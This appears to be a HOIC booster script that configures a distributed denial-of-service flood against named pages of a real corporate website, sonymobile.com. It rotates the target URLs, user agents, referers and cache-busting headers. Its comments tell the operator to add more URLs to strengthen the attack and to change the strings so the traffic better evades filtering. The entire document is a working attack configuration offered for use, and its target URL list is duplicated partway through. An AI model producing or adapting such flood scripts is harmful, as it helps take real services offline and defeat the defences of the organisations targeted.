Dim useragents() as String Dim referers() as String dim randheaders() as string Dim randURLs() as string // populate rotating urls // IF YOU WANT TO IMPROVE THE ATTACK, ADD URLS BELONGING TO THIS DOMAIN OR RELATED SUBDOMAINS!!! PRO-TIP: You should create anew target and .HOIC file if u want to attack a different organization randURLs.Append "http://www.sonymobile.com" randURLs.Append "http://www.sonymobile.com/uk" randURLs.Append "http://www.sonymobile.com/servicenetwork" randURLs.Append "http://www.sonymobile.com/phones" randURLs.Append "http://www.sonymobile.com/softwaredownloads" randURLs.Append "http://www.sonymobile.com/cws/corporate/home/" randURLs.Append "http://www.sonymobile.com/android" randURLs.Append "http://www.sonymobile.com/accessories" randURLs.Append "http://www.sonymobile.com/contactus" randURLs.Append "http://www.sonymobile.com/imaginationfacebook" randURLs.Append "http://www.sonymobile.com/us/products/" randURLs.Append "http://www.sonymobile.com/us/tools/isync/" randURLs.Append "http://www.sonymobile.com/br/products/" randURLs.Append "http://www.sonymobile.com/gb/" randURLs.Append "http://www.sonymobile.com/gb/products/" randURLs.Append "http://www.sonymobile.com/es/products/" randURLs.Append "http://www.sonymobile.com/ru/products/" randURLs.Append "http://www.sonymobile.com/global-fr/" // rotate out url URL = randURLs(RndNumber(0, randURLs.UBound)) // EDIT THE FOLLOWING STRINGS TO MAKE YOUR OWN BOOST UNIQUE AND THEREFORE MORE EVASIVE! // populate list useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6" useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)" useragents.Append "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)" useragents.Append "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1; .NET CLR 1.1.4322)" useragents.Append "Googlebot/2.1 ( http://www.googlebot.com/bot.html) " useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14" useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14" useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13" useragents.Append "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13" useragents.Append "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)" useragents.Append "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)" useragents.Append "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16" useragents.Append "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51" useragents.Append "Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53" // populate referer list referers.Append "http://www.google.com/?q=anonymous+hacker" referers.Append URL randURLs.Append "http://www.sonymobile.com" randURLs.Append "http://www.sonymobile.com/uk" randURLs.Append "http://www.sonymobile.com/servicenetwork" randURLs.Append "http://www.sonymobile.com/phones" randURLs.Append "http://www.sonymobile.com/softwaredownloads" randURLs.Append "http://www.sonymobile.com/cws/corporate/home/" randURLs.Append "http://www.sonymobile.com/android" randURLs.Append "http://www.sonymobile.com/accessories" randURLs.Append "http://www.sonymobile.com/contactus" randURLs.Append "http://www.sonymobile.com/imaginationfacebook" randURLs.Append "http://www.sonymobile.com/us/products/" randURLs.Append "http://www.sonymobile.com/us/tools/isync/" randURLs.Append "http://www.sonymobile.com/br/products/" randURLs.Append "http://www.sonymobile.com/gb/" randURLs.Append "http://www.sonymobile.com/gb/products/" randURLs.Append "http://www.sonymobile.com/es/products/" randURLs.Append "http://www.sonymobile.com/ru/products/" randURLs.Append "http://www.sonymobile.com/global-fr/" // Add random headers randheaders.Append "Cache-Control: no-cache" randheaders.Append "If-Modified-Since: Sat, 29 Oct 1994 11:59:59 GMT" randheaders.Append "If-Modified-Since: Tue, 18 Sep 2002 10:34:27 GMT" randheaders.Append "If-Modified-Since: Mon, 12 Aug 2004 12:54:49 GMT" randheaders.Append "If-Modified-Since: Wed, 30 Jan 2000 01:21:09 GMT" randheaders.Append "If-Modified-Since: Tue, 18 Aug 2006 08:49:15 GMT" randheaders.Append "If-Modified-Since: Fri, 20 Oct 2006 09:34:27 GMT" randheaders.Append "If-Modified-Since: Mon, 29 Oct 2001 05:17:09 GMT" randheaders.Append "If-Modified-Since: Tue, 18 Apr 2003 12:54:49 GMT" randheaders.Append "If-Modified-Since: Sat, 18 Aug 2002 12:54:49 GMT" randheaders.Append "If-Modified-Since: Wed, 30 Jan 2000 01:21:09 GMT" randheaders.Append "If-Modified-Since: Tue, 18 Aug 2009 08:49:15 GMT" randheaders.Append "If-Modified-Since: Fri, 20 Jun 2006 09:34:27 GMT" randheaders.Append "If-Modified-Since: Sun, 13 Oct 2007 11:59:59 GMT" randheaders.Append "If-Modified-Since: Tue, 18 Aug 2003 12:54:49 GMT" randheaders.Append "If-Modified-Since: Wed, 30 Jan 2002 01:21:09 GMT" randheaders.Append "If-Modified-Since: Tue, 18 Aug 2009 08:49:15 GMT" randheaders.Append "If-Modified-Since: Fri, 20 Oct 2008 09:34:27 GMT" randheaders.Append "If-Modified-Since: Mon, 29 Oct 2007 11:59:59 GMT" randheaders.Append "If-Modified-Since: Tue, 18 Aug 2001 12:54:49 GMT" Headers.Append "Keep-Alive: 115" Headers.Append "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" Headers.Append "Connection: keep-alive" // ------------------ DO NOT EDIT BELOW THIS LINE // generate random referer Headers.Append "Referer: " + referers(RndNumber(0, referers.UBound)) // generate random user agent (DO NOT MODIFY THIS LINE) Headers.Append "User-Agent: " + useragents(RndNumber(0, useragents.UBound)) // Generate random headers Headers.Append randheaders(RndNumber(0, randheaders.UBound))